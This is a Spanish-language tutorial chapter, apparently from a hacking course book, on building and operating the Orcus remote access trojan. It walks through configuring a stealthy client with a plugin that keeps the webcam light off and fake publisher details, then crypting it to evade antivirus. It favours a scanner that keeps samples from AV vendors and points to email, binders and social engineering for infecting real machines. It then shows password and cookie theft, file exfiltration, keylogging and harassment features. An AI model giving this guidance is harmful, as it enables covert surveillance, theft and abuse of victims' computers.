Administración remota mediante RATs (Troyanos de Acceso Remoto). Siendo estos potencialmente peligrosos para muchos sistemas informáticos, los RATs (Remote Access Trojans) por su traducción al inglés, son piezas de software que nos permiten llevar a cabo una infección mayormente perjudicial, consiguiendo así acceso no autorizado al ordenador de la víctima, abriéndonos la puerta para poder realizar tareas de monitoreo (surveillance), robo de información sensible, como lo son passwords, información personal, tarjetas de crédito, etc. Los RATs tienen el potencial de recolectar sumas cantidades de información de varios equipos o personas, por lo que si un equipo ha sido infectado por algún software de este tipo, toda o mucha información personal que se encuentre dentro de este habrá sido comprometida. Los RATs también tienen su lugar en el mundo laboral o corporativo, ya sea que eres administrador o jefe de sistemas, o de algún área en específico y estas a cargo de ciertos equipos y las políticas del trabajo mencionan que el personal está sujeto a monitoreo constante en horas laborales, este tipo de herramientas de administración remota pueden ser tu solución, ya que pueden ser utilizadas para revisión constante de las tareas que se llevan a cabo en el quipo mientras el personal lo usa. ¿Cómo difieren los RATs de otros troyanos? La diferencia clave entre keyloggers, troyanos y demás malware de uso local, es que un RAT nos permite tomar acceso hacia la maquina victima mediante especiales protocolos de comunicación que son configurados como parte de la infección inicial en el equipo objetivo. Esta puerta trasera o “Backdoor” permite el acceso sin restricciones dentro del equipo víctima, consiguiendo así el monitoreo de esta persona o el del equipo, hacer “keyloggin”, explorar archivos, cambiar configuraciones, hacer uso de la conexión a internet o ancho de banda de este ordenador para actividades ilícitas, convertir esta máquina en un zombie para hacer un ataque DDos, y mucho más. En este capítulo se ejemplificará el uso y funciones de diferentes troyanos de acceso remoto, estos serán Orcus y Luminosity Link, siendo estos unos de uso recomendable, puesto a que cuentan con extenso repertorio de funciones para llevar a cabo tareas de post-explotación y que ofrecen una estabilidad mayor a diferencia de otros RATs o herramientas de administración remota.
Comenzando nuestra aproximación.
Como se mencionó antes los RATs son herramientas diseñadas con la finalidad de ejecutar acciones específicas vía remota y tener privilegios administrativos superiores, puesto a que tienen una extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias esto, este tipo de software es utilizado con fines malintencionados por ello, son catalogados como malware. Parte esencial y necesaria al construir nuestro binario (cliente) es la configuración “Client/Server” (como lo es en todos los RATs), a diferencia de los binarios y demás malware que operan a nivel local en una red, estos difieren a la configuración de un RAT, el equipo atacante funcionara como un Servidor y las victimas como Clientes:
Imagen 14.1: Arquitectura de Orcus RAT.
Sabiendo esto, es momento de crear nuestro cliente RAT. ¿Qué necesitarás par este ataque? Las 2 máquinas virtuales con Windows 8.1 que se te proporcionaron. Orcus Remote Admin Tool. Conexión a internet (una buena es recomendable) Dentro del material proporcionado para el capítulo 2, encontrarás los 2 primeros elementos para trabajar con esto. NOTA: Las pruebas documentadas a lo largo de este capítulo se realizaron en un servidor privado virtual (VPS), mediante el acceso por escritorio remoto, por lo que si deseas alquilar algún VPS para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo nativo, puedes hacerlo de esta forma, o puedes trabajarlo desde las máquinas virtuales con Windows proporcionadas.
Configuración de un RAT.
Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta, hecho eso abriremos Orcus.
Imagen 14.2 y 14.3: Ubicación de herramienta, panel de Conexión y opción para crear un nuevo servidor.
Al abrirse lo primero que se mostrará será este panel para poder conectarse a un servidor, una ventaja que tiene Orcus es que a donde lo lleves se conectará al server que fue creado, solo basta con ingresar la dirección IP, puerto correspondiente y password proporcionados, esto lo haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto desde la opción remarcada “Create new server”:
Imagen 14.4: Configuración del servidor
En esta nueva ventana ingresaremos la dirección IP correspondiente, en este caso hablamos del equipo Windows que está en uso, otra ventaja de Orcus es que te permite crear un servidor con las direcciones IP que requieras, en este caso solo usaremos una, también asignaremos un puerto que se encuentre abierto en el equipo, uno común es el 80, que es donde corre el servicio HTTP, aunque puedes escoger otro puerto (abierto).
Al tener los datos necesarios pulsaremos “ADD” para agregarlos a la lista del Server, es importante esto, ya que sin ello el server creado no tendrá utilidad alguna, terminado eso, ingresaremos un password, este password servirá como factor de autenticación para iniciar nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, será necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz gráfica (GUI) de Orcus, con esto último listo, crearemos el Server con “BUILD”, al hacerlo nos preguntará en donde vamos a guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio nombrada ”server”, que será donde la guardaremos, hecho esto, abrimos el archivo “Orcus.server”:
Imagen 14.5 y 14.6: Selección de interfaz para configuración y generación de archivo de configuración para el server.
Al hacerlo se mostrarán datos relevantes a la configuración que establecimos previamente, como lo es la dirección IP, puerto asignado y password, también vemos 2 recuadros, uno nos muestra un breve resumen o “Summary” acerca de la actividad llevada a cabo hasta ahora en el server, en donde nos indica que el Listener ha comenzado en él, también tenemos otro recuadro en donde nos indica el “Status” del server, como lo es el número de admins, de clientes conectados y si está en función.
Imagen 14.7: Adición del listener y password.
Los Servers son creados en la maquina atacante/administradora, el código de este server trabajará en conjunto con el código del cliente, interpretando a un socket, estos binarios (clientes) se distribuyen a distintas maquinas o a un solo objetivo, una vez estando ahí y ejecutados, estos establecerán una conexión hacia el servidor (atacante/administrador) y estarán a la espera de comandos y acciones por ejecutar. El lado de server (administrador) nos provee de una interfaz gráfica para trabajar con todas las conexiones establecidas o provenientes (Clientes/Víctimas), otorgando control suficiente sobre el sistema y la capacidad ejecutar numerosas tareas, para esto, tendremos que ingresar a la plataforma de trabajo de Orcus, esto se hace desde el primer panel que se mostró, en donde ingresaremos la dirección IP y password que se configuraron durante la creación del server:
Imagen 14.8 y 14.9: Conexión a servidor y panel de administración con opción “Build”.
Estando en la plataforma, a simple vista podremos notar que este software cuenta con múltiples funciones, pero en realidad tiene más de lo que puedes imaginar y explicar todas y cada una de estas, así como todo el funcionamiento y modo de uso del RAT tomaría un libro completo, por lo que veremos las acciones más importantes. Para poder crear nuestro cliente (binario/troyano) usaremos la opción “Build” que la parte superior izqda. de la ventana. Dentro nos toparemos con una serie de pasos/protocolos de creación para este binario, siendo el primero la configuración general (General Settings), en donde se especifica el grupo identificador de clientes (Tag), el “Mutex” que es para establecer que una sola instancia del cliente corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger, es recomendable dejarlo habilitado, y los privilegios, habilitar esta opción hace que al momento de la ejecución del binario se adquieran privilegios administrativos:
Imagen 15.0: Configuraciones generales.
El segundo paso será establecer los parámetros de configuración de la conexión, en esta parte solo añadiremos la dirección IP y puerto previamente asignados al servidor (Nosotros), para establecerlos solo presionamos en “ADD”, es importante hacerlo, de lo contrario no servirá nuestro troyano:
Imagen 15.1: Configuración en el apartado de Conexión.
El tercer paso es configurar las “medidas de protección” para el binario a crear, en esta nueva ventana tendremos múltiples parámetros opcionales en donde podrás personalizar estos parámetros a tu gusto, de las 3 opciones solo estarán las 2 primeras habilitadas por default en este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una máquina virtual. Por lo que solo utilizaremos la segunda opción, para hacer que una técnica Anti-Debugging acompañe al binario:
Imagen 15.2: Configuración d medidas de protección para el binario.
El paso numero 4 será configurar la instalación del cliente (binario), aquí nos proveen de múltiples opciones de configuración, como lo es el lugar/directorio raíz donde residirá el cliente/troyano, si queremos ocultarlo de ahí, cambiar la fecha de creación de este, forzar la obtención de privilegios administrativos al momento de la instalación, el auto-inicio del mismo y el nombre con el que se identificará:
Imagen 15.3: Apartado de instalación.
El quinto paso (Opcional) será añadir información del ensamblaje o producción del software, aquí podemos añadir información adicional a nuestro binario, como es el nombre, compañía, producto, versión de este, copyright y demás detalles que lo pueden hacer lucir como una pieza de software legítimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario habilitar la opción “Change Assembly Information”, o si se tiene esta información lista en un archivo, solo se carga desde la opción “LOAD FROM FILE”:
Imagen 15.4: Apartado para información de ensamblaje.
El paso numero 6 será la adición de “Plugins”, estos nos sirven para agregar funciones extra con el fin de proporcionar cierto apoyo a las tareas de post-explotación/monitoreo, como lo es en este caso el no encender la luz de la Webcam al momento de acceder a esta. NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no puede funcionar en otros, sin embargo no está de más tomarlo en cuenta:
Imagen 15.5: Plugin Seleccionado.
El séptimo y último paso es generar el viario mediante el “Builder” parchar o corregir errores que ocurren durante la compilación de nuestro binario, como lo son bugs en el código, visualizaciones no deseadas del source-code, etc. Para esto, hay apartado de “Patches” para instalar al en el binario, para lo anterior seleccionaremos la opción “Orcus Patcher” y para esconder la extensión del binario ejecutable usaremos “Extension Spoofer”. Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opción “Change Icon”. IMPORTANTE: La selección del Framework objetivo es crucial para el éxito de la explotación de la víctima, ya que en base al framework escogido mayores posibilidades de lograr el éxito/infección conseguiremos. El compilador o “Builder” de Orcus puede construir el binario en los 3 tipos de .NET Framework, 3.5, 4.0, 4.5 por ello tendremos que escoger alguno, en este caso se escogió el 3.5:
Imagen 15.6 y 15.7: Últimos detalles y selección de Framework de .NET
Teniendo seleccionado el Framework de .NET, mediante la opción “BUILD” haremos la compilación del troyano y lo guardaremos con el nombre y en el lugar de nuestra preferencia.
Familiarizándonos con un Crypter. Como es de esperarse, este binario saldrá con una forma común y simple, con la diferencia de que se le agregó algo de información de ensamblaje mediante Orcus pero hasta ahí, no tiene icono, no se le ha hecho con ningún “Modding” para ofuscar los patrones o bloques del código con el fin de conseguir la evasión de sistemas de seguridad o antivirus (Fudding). Lo que significa que la forma de conseguir la infección con este ejecutable es que nosotros mismos lo hagamos llegar al equipo víctima, desactivar protecciones, y ejecutarlo, o convencer a una persona bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habrá que saber que tan amenazante resulta este binario. Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante útiles al momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple, en esta plataforma se hospedan múltiples computadoras cargadas con los diferente software de protección (antivirus), en donde al momento de cargar nuestra muestra de software/malware será analizado por todos estos antivirus (35), al terminar este proceso se mostrará un resumen de los resultados indicando detalles como el índice de detección, MD5 y los antivirus que encontraron esta muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de NoDistribute, visitando https://nodistribute.com/. IMPORTANTE 1: NoDistribute (como su nombre lo indica) no distribuye las muestras enviadas ni tampoco los resultados obtenidos, ya que es común que otras plataformas como https://www.virustotal.com/ distribuyan estos resultados a las casas antivirus, lo que resulta perjudicial para nosotros porque así estas tendrán en sus bases de datos el código que compone a este software, por lo que costará más trabajo lograr la evasión de antivirus (FUD) para nuestro malware, por lo que es altamente recomendable utilizar solamente esta plataforma. Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados aparecerán mostrando los detalles anteriormente mencionados:
Imagen 15.8: Resultados de plataforma de escaneo.
Podemos notar que 17 de los 35 antivirus operando en la plataforma categorizaron nuestro software como malware, lo que quiere decir que casi el 50% de estos lo detectó y está muy lejos de pasar desapercibido en muchos equipos convencionales/profesionales y va a requerir algunos cambios en su arquitectura.
Formatted: Default Paragraph Font, Font: (Default) +Body (Calibri), 10 pt, (Asian) Japanese
Formatted: Default Paragraph Font, Font: (Default) +Body (Calibri), 10 pt, (Asian) Japanese
IMPORTANTE 2: Estos resultados que se muestran son los que se consiguieron a la fecha en la que se redactó este libro, por lo que en un futuro pueden cambiar, o mientras estás leyendo esto estén cambiando notable o drásticamente estos resultados. Cabe mencionar que no porque nosotros utilicemos esta plataforma para analizar nuestras muestras de malware quiere decir que no exista la posibilidad de que el código no llegará a las BD de las casas antivirus, ya sea porque alguien más lo está distribuyendo, lo estudiaron en los laboratorios o mil razones por las que lo tengan, hará que nuestro índice de detección aumente (Aún con Fudding). Lo que quiere decir que el método de evasión de todos o ciertos antivirus ya no es funcional, por lo que habrá que encontrar otra forma de lograrlo, la solución más común para esto es comprar un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchísimo cuidado y ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante PayPal, Bitcoin o algún otro método de pago. Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un “Crypter”, existen muchos de estos, unos más completos/complejos que otros, sin embargo todos tienen una finalidad u objetivo en común; conseguir cifrar archivos o tratar de hacer FUD (Full Undetectable) algún, bloque de código, script, binario o ejecutable con el fin de conseguir la evasión de sistemas de protección informáticos, esto puede conseguirse mediante diferentes técnicas, ya sea mediante la ofuscación del código y sus componentes del binario, mediante alguna técnica Anti-Debugging, entre otras. En este ejemplo utilizaremos un Crypter llamado “Masked Crypter”, este viene dentro del material proporcionado para este capítulo y será nuestra herramienta para brindarle a nuestro binario las características ya mencionadas, abrirás la aplicación y seguirás los siguientes pasos:
Dentro de Masked Crypter, habrá 3 campos importantes; el que hará el Browsing del archivo a realizar “Modding”, otro que hará Browsing de un icono para este, ya que es obligatorio y otro que es un generador de caracteres aleatorios proporcionando así un “Mutex”, puede generar cuantos quieras y escoger solo uno. En cada campo haremos la acción correspondiente.
Del lado derecho nos encontramos con un pequeño panel de opciones para realizar el Modding con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opción.
De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro “popup” que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relación de compresión y ofrece una descompresión muy rápida, asi el binario no sufrirá ninguna sobrecarga de memoria u otros inconvenientes, además de que ayuda a ofuscar el código, y .NET Support nos proporciona ciertos bloques de código para conseguir compatibilidad con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo con las características anteriores, obvio podrás cambiarle el nombre con posterioridad:
Imagen 15.9: Configuración de crypter para el binario.
Terminado lo anterior enviáremos este nuevo binario a la plataforma de escaneo de https://nodistribute.com/ en donde se obtuvieron los siguientes resultados, en donde ahora solo 5 de 35 antivirus encontró perjudicial a nuestro nuevo binario, ahora solo el 15% de toda la plataforma lo cataloga como malware, fue un resultado mucho mejor:
Imagen 16.0: Resultados arrojados ahora con Crypting.
Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando un ambiente controlado en esta prueba, por lo que solo se transferirá el binario y se ejecutará manualmente. NOTA: Para esto hay múltiples y diversas formas de infección, ya sea mediante correo electrónico, “binders”, ingeniería social, entre otras, por lo que estará a tu elección el vector de infección por el que en un futuro logres conseguir comprometer algún equipo real.
Teniendo el binario en el equipo víctima se ejecutará, y a simple vista no ocurrirá nada, solo un ligero resalte en el brillo del ícono de binario al momento de correrlo. Mientras que en la maquina atacante/administradora, de lado de Orcus en el panel principal de la plataforma de trabajo, habremos encontrado un nuevo “Slave” (victima/cliente), así como también notaremos esta actividad en la ventana de “Orcus. Server”, mostrando los detalles de la conexión de este nuevo cliente:
Imagen 16.1: Cliente registrado gracias a la ejecución.
En el panel principal de Orcus también se está indicando todo esto es en la barra de monitoreo; la conexión establecida en Orcus y la conexión encontrada de un nuevo cliente (victima). Debajo de ella encontráremos detalles de esta acción como lo es la hora, sistema operativo, Username (nombre con el que se identifica el Host), sistema operativo y país si es posible obtener este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su selección y entrar mediante “Log In”, al hacerlo notáremos más actividad en la barra de monitoreo:
Imagen 16.2 y 16.3: Nuevo cliente y sus detalles en lista de Esclavos.
Usage del RAT y monitoreo de un cliente/robo de información de una víctima.
Una vez accedido al equipo mediante esta función, entraremos al panel de trabajo del cliente en Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo en/sobre este cliente, puesto a que hay muchísimas de estas funciones, habría que escribir uno o dos capítulos sobre el total uso de ellas, por ello, solo veremos las más interesantes. Lo primero qué notáremos será la categoría “CLIENT”, situándonos en el sub-panel “Control” donde encontráremos detalles más específicos sobre el S.O del cliente, como lo es la version del Framework de .NET, tiempo activo desde la primera vez comprometido, directorio raíz del troyano, además de la opciones de desinstalar el troyano o solo matar esta conexión, etc:
Imagen 16.4: Detalles del sistema infectado.
Dentro del sub-panel “Config” nos toparemos con la configuración que reside en el cliente, está no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la de nuestro binario/cliente, presentándonos un resumen o “Summary” acerca de las características de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:
Imagen 16.5, 16.6 y 16.7: Configuración a detalle del sistema infec.
Un último detalle acerca de esta primera categoría es el sub-panel de plugins este solo muestra el o los plugins que fueron seleccionados durante la creación del binario y por ende, los que quedaron instalados en el lado cliente, en este caso mostrando el de “Anti-Debugging”:
Imagen 16.8: Plugin que contiene el binario.
Pasando a otra categoría, “Information” nos permite saber detalles más precisos sobre el uso de esté equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El “Summary” de las conexiones activas puede resultar muy útil si se piensa llevar una bitácora o si se desea revisar ciertos parámetros aquí encontráremos esta información, indicando el proceso, las direcciones locales y remotas sobre las que se establezca esta conexión, el protocolo y el estatus de esta, y por su puesto los datos de esta acción en la barra de monitoreo:
Imagen 16.9 y 17.0: Conexiones activa, proceso y demás detalles sobre esto en el equipo ajeno.
Cambiando a la función siguiente, desde el sub-panel “Computer” podemos saber detalles más específicos acerca de los componentes de este equipo cliente, mostrando Hardware, info acerca del sistema, OS, BIOS, particiones o HDD, entre lo más interesante nos encontramos con cosas como el “Owner” (email que se usa para la cuenta Windows) y detalles acerca del disco duro:
Imagen 17.1 – 17.6: Información muy detallada acerca del equipo infectado.
Por otro lado tenemos la función “Performance” dentro podemos hallar info acerca del rendimiento del equipo, como lo es el % del uso del procesador mostrando un gráfico de ello, modelo y velocidad del procesador número de hilos o “Threads”, procesos que corren actualmente, tiempo activo y demás. Muchas funciones de los “sub-paneles” habrá que habilitarlas mediante el switch Azul del lado derecho, de lo contrario no podrás hacer uso de ellas:
Imagen 17.7: Monitoreo del rendimiento del equipo infectado.
Dejando un poco atrás los detalles sobre el cliente, pasemos a algo más interesante y entretenido, como es de esperarse, herramientas como los RATs puede hacer un sinfín de cosas, sin embargo, no está de más mencionar que hay unos que están mucho más completos que otros por cualquier lado que los veamos, y Orcus no es la excepción aquí. Dentro de las categorías de funciones nos topamos con “Fun” (diversión), esta cuenta con funciones que se llevan el título como su categoría lo indica, aquí es donde podemos tomar acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en casos reales de monitoreo y espionaje. Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta función, y Orcus la trae consigo, abriremos con la función que nos permite enviar/reproducir un dictado con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear el texto a dictar, seleccionar la voz, velocidad de reproducción y volumen y enviarlo con “SEND”.
Comúnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en un lugar de trabajo el administrador lo usa para dar avisos o notificaciones más a detalle o personales al usuario/cliente.
Imagen 17.8 y 17.9: Función de Texto dictado sobre equipo infectado.
Otra función con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente) cuenta con una más completa que los demás, en donde lejos de enviar un simple recuadro para transferir mensajes, te ofrece muchas más funciones para poder trabajar sobre ello. Entre ellas esta el poder colocar el título de la ventana, el nombre o nickname (tuyo), evitar que se cierre, maximizarla permanentemente y minimizar las demás ventanas cuando aparezca este Chat Box, para poder usar esta función deberás habilitar esta función con el “Switch Azul” del lado derecho, en la siguiente página encontrarás su modo de uso, consulta las imágenes:
Imagen 18.0 y 18.1: Función de Chat entre Cliente/Servidor.
Aun estando en la categoría “Fun”, pasáremos al sub-panel “Common” en donde nos topáremos con más funciones que trae consigo Orcus, en este sub-panel podremos involucrar directamente nuestras acciones con las aplicaciones del equipo, como lo es el navegador web predeterminado, además de poder cambiar el wallpaper de la pantalla tan solo con proporcionar el URL de una imagen, apagar el monitor, conseguir el Crashing del sistema, mostrando el “Pantallazo Azul” o congelar el sistema mediante la sobrecarga de procesos: . En este primer ejemplo se demostrará el abrir de un sitio web en específico y el número de ventanas con el que se repetirá esto, solo basta con escribir el URL, indicar el número de ventanas que quieras y lanzarlo mediante “DO IT!”. Al hacerlo se llevará a cabo lo antes descrito en el equipo cliente/victima, cada vez que se ejecute una acción ya sea que falle o no, se mostrará la actividad en la bitácora de la barra de monitoreo.
Imagen 18.2 – 18.4: Funciones de categoría “Común” y sitio web abierto por indicación remota.
También se puede podemos crear “Reminders” (Notas), con un texto en específico, lo que hará esto simplemente será abrir un bloc de notas con el texto enviado, solo basta con escribirlo y enviarlo con “Send”. Una función más en la categoría “User Interaction” es que podemos crear notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta, etc, obviamente con el título y texto que queramos poner durante el tiempo establecido en milisegundos, en este caso 10,000:
Imagen 18.5 – 18.7: Función de Globo de aviso y acción guardada en el Log.
Otras funciones útiles en casos en los que el administrador/atacante no tenga nada que hacer son las siguientes, de las cuales se puede sacar fácilmente de quicio a alguien, la primer función (Rotate Monitor) es bastante simple, cambia la posición del monitor en los grados disponibles, el detalle es que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del sistema nativo al virtual, como lo es la tarjeta de gráficos, en cambio sí se intenta en un equipo real, funcionará a la perfección. En cambio, “Pure Evilness”, nos da un poco más de diversión sin mayor problema, aquí nos encontramos con 2 botones, “LET IT BURN” y “WATER, WATER!”, la primera hace que esto comience y la otra lo detiene, solo lo detiene, no lo repara. Veamos que sucede en el equipo cliente luego de esto:
Imagen 18.8 y 18.9: Opciones de uso y Función de ataque “Pura Maldad”.
Si queremos detener lo que iniciamos habrá que “vaciarle agua” a esto, lo detenemos con “WATER, WATER!”
Imagen 19.0 – 19.2: “Corrección” de acción de ataque “Pure Evilnes”
¿Qué es lo que ha pasado? Lo que hace esta divertida pero desquiciante función es, tomar un Screenshot del Desktop, rotar la imagen 180° y establecerlo como wallpaper, luego esconder la barra de tareas e íconos, así el usuario creerá que la barra de arriba es funcional, pero en realidad es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de detener esto aparecerá la barra de nuevo y se colocará en su lugar, con el detalle que el escritorio esta hecho un asco. De las funciones vistas hasta ahora en la categoría “Fun”, en lo personal mi preferida es esta, así que pasemos a algo más divertido (y puede que muy perjudicial/peligroso). El uso del Screamer, es una “divertida” función hace que en milisegundos se bloqueé el equipo y en pantalla completa aparezca una animación con gritos de fondo y a un volumen demasiado alto en donde se muestra un rostro algo bizarro y la única forma de detenerlo es con la combinación simultánea de teclas “Ctrl + Shift + V”. Esto puede resultar en algo grave asi que te recomiendo al menos ser selectivo con quienes la usas/usarás, además de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu propia responsabilidad:
Imagen 19.3, 19.4 y 19.5: Inicio, función y detención de Screamer.
Otras funciones que se pueden llevar a cabo dentro de esta misma categoría son las que pueden hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio. También hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado y mouse, haciendo que este se mueva de forma errática o se bloqueé por N segundos, o cambiar el “input” del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede mostrar de forma adecuada con imágenes, en cambio, si estas acciones se llevan a cabo con éxito, se mostraran en la barra de monitoreo:
Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.
Como se demostró en los ejemplos anteriores, la categoría “Fun” de Orcus cuenta con una vasta diversidad de útiles funciones y características “Divertidas” que hacen que se ejerzan con facilidad múltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de diálogo, avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o Congelarlo (HANG), dejándolo inhábil temporalmente, todo desde una solo plataforma de trabajo (Como también lo será en las otras categorías) Dejando atrás la parte de juegos, pasaremos a una categoría más funcional y útil para nuestro propósito, que es el ejercer control sobre el equipo cliente, aquí es cuando pasamos a la categoría “SYSTEM”. Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecución remota de código (muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar más a fondo con los programas existentes en el equipo víctima y muchas otras cosas, y por ello, antes de continuar con otra categoría, habrá trabajo por hacer aquí. La segunda función que encontraremos aquí es la de “Console”, no hace falta una larga explicación sobre esta, ya que solo nos proporciona una terminal de comandos “CMD” sobre el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras, en este ejemplo se ejecutó el comando “dir”:
Imagen 19.8: Función de la consola (CMD) sobre el quipo ajeno.
Una función más aquí es la de poder consultar/ver el “Event Log” del equipo cliente.
¿Qué es y para qué nos sirve esto? En “Event Log” es básicamente un libro de registros que puede ser analizado con fines de obtener un nivel superior de inteligencia (información) en la red, como pueden ser sucesos en aplicaciones, errores en estas, procesos, y más detalles a fondo sobre estos registros. En redes o “networking” una forma de apoyo para poder proveer información detallada sobre ciertos registros, parámetros o “Usage” en la red o equipo es el “Event Log”. Este almacena los datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por administradores de sistemas, sistemas de seguridad o por profesionales en seguridad. Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos (como el que veremos). Si eres administrador de sistemas o estas a cargo de un grupo de trabajo, con herramientas de este tipo podrás ver un panorama más extenso de lo que ocurre en la red… o en un equipo cliente. En Orcus solo basta con seleccionar esta opción y automáticamente hará el “Fetching” o recolección de estos registros, arrojándolos a la tabla qué se muestra y enviando esta acción a la barra de monitoreo. Consulta las imágenes.
Imagen 19.9: Registro de eventos del equipo ajeno.
Entre las funciones de esta categoría nos topamos con una que resulta altamente útil y que todos en algún momento hemos buscado o querido usar en un cierto modo, así es como le damos la entrada el explorador de archivos en Orcus, siendo este diferente a los de otros RATs, luce y es más funcional que otros puesto a que resulta más estable tanto en la exploración de directorios como son las descargas y cargas de archivos. Para esto solo basta con abrir el sub-panel “File Explorer”, seleccionar la partición o disco correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar una acción sobre él, en este caso será la descarga de un directorio, mostrando una columna del “status” y progreso de la o las descargas que se estén llevando a cabo, al terminar estas, en el directorio raíz de Orcus se creará una carpeta nombrada “Downloads”. Consulta las imágenes:
Imagen 20.0, 20.1 y 20.2: Búsqueda y descarga de archivos ajenos del equipo infectado.
Algo más a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente a realizar una descarga en específico, desde una imagen hasta algún archivo más perjudicial, esto se puede llevar a cabo desde el sub-panel “Internet”, en donde podemos ingresar una URL determinada y realizar esta descarga, además de que podemos hacerlo en masa o simultáneamente:
Imagen 20.3: Funciones para interactuar con internet.
Pasando a otra función que puede llevar a cabo tareas de carácter administrativo como algunas que se han visto hasta ahora, en el sub-panel “Programs” nos encontraremos con algo similar, esta función nos permite ver el listado de programas instalados exclusivamente por el cliente, como puede ser software de trabajo, navegadores web u otras aplicaciones comunes indicando detalles como la versión, llave correspondiente al “Registry” y directorio en donde reside la instalación de este software. Al abrir esta función tendremos que hacerle un “Refresh” al sub-panel para que enumere y describa en una lista el software adicional encontrado, del cual podemos hacer cambios, como lo es la desinstalación, solo basta con seleccionar el programa que buscamos y realizar la tarea correspondiente:
Imagen 20.4: Listado de programas en equipo ajeno.
Hasta ahora hemos explorado algunas de las categorías más funcionales de Orcus y le hemos sacado provecho al asunto, ahora es momento de pasar a la que más nos interesa, que es la de monitoreo o surveillance (vigilancia). Como es de esperarse en Orcus, tanto las categorías como las funciones de cada una han sido bastante eficientes y útiles, y obviamente la que estamos por ver no será la excepción. Aquí es en donde entramos de lleno a fase de vigilancia o “espionaje”, ya que estas acciones lejos de permitirnos leer conversaciones, encontrar patrones de búsquedas en navegadores web, tomar capturas de pantalla, etc. Esto puede llevarse más lejos llegando a lo que se conoce como espionaje corporativo, en donde se puede obtener información acerca de escritos, descargar información importante que incluso puede estar clasificada, ya que ocurra esto es demasiado común en el mundo corporativo o laborar. Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no necesariamente como se presentará aquí, ya que si has estas familiarizado con herramientas de este tipo o algún trabajo similar, podrás adaptarlo al uso con Orcus si así lo prefieres.
Dentro de la Categoría “Surveillance”, nos encontráremos con 4 funciones de monitoreo en tiempo real:
Live Keylogger. Microphone Recorder. Screen. Webcam.
Cada una de estas nos provee de funciones distintas que resultan bastante útiles para este trabajo, comencemos por “Keylogger”. A lo largo del libro COISP nivel 1 se habla sobre estas herramientas, sin embargo no se toca a detalle su uso mediante RATs o administración remota, estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma distante o remota, que es la manera en la que está por llevarse a cabo. Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para posteriormente ser vistos o enviar esta información en tiempo real como lo veremos aquí. Hay keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres obtenidos durante la interacción con el medio HID (Teclado). Esto con la finalidad de mostrar detalles que nos pueden ser muy útiles en esta acción de espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas más, esto se debe a que el código que constituye este tipo de Keyloggers trabaja a un nivel inferior o más bajo, por ende, la obtención de todo lo anterior, una 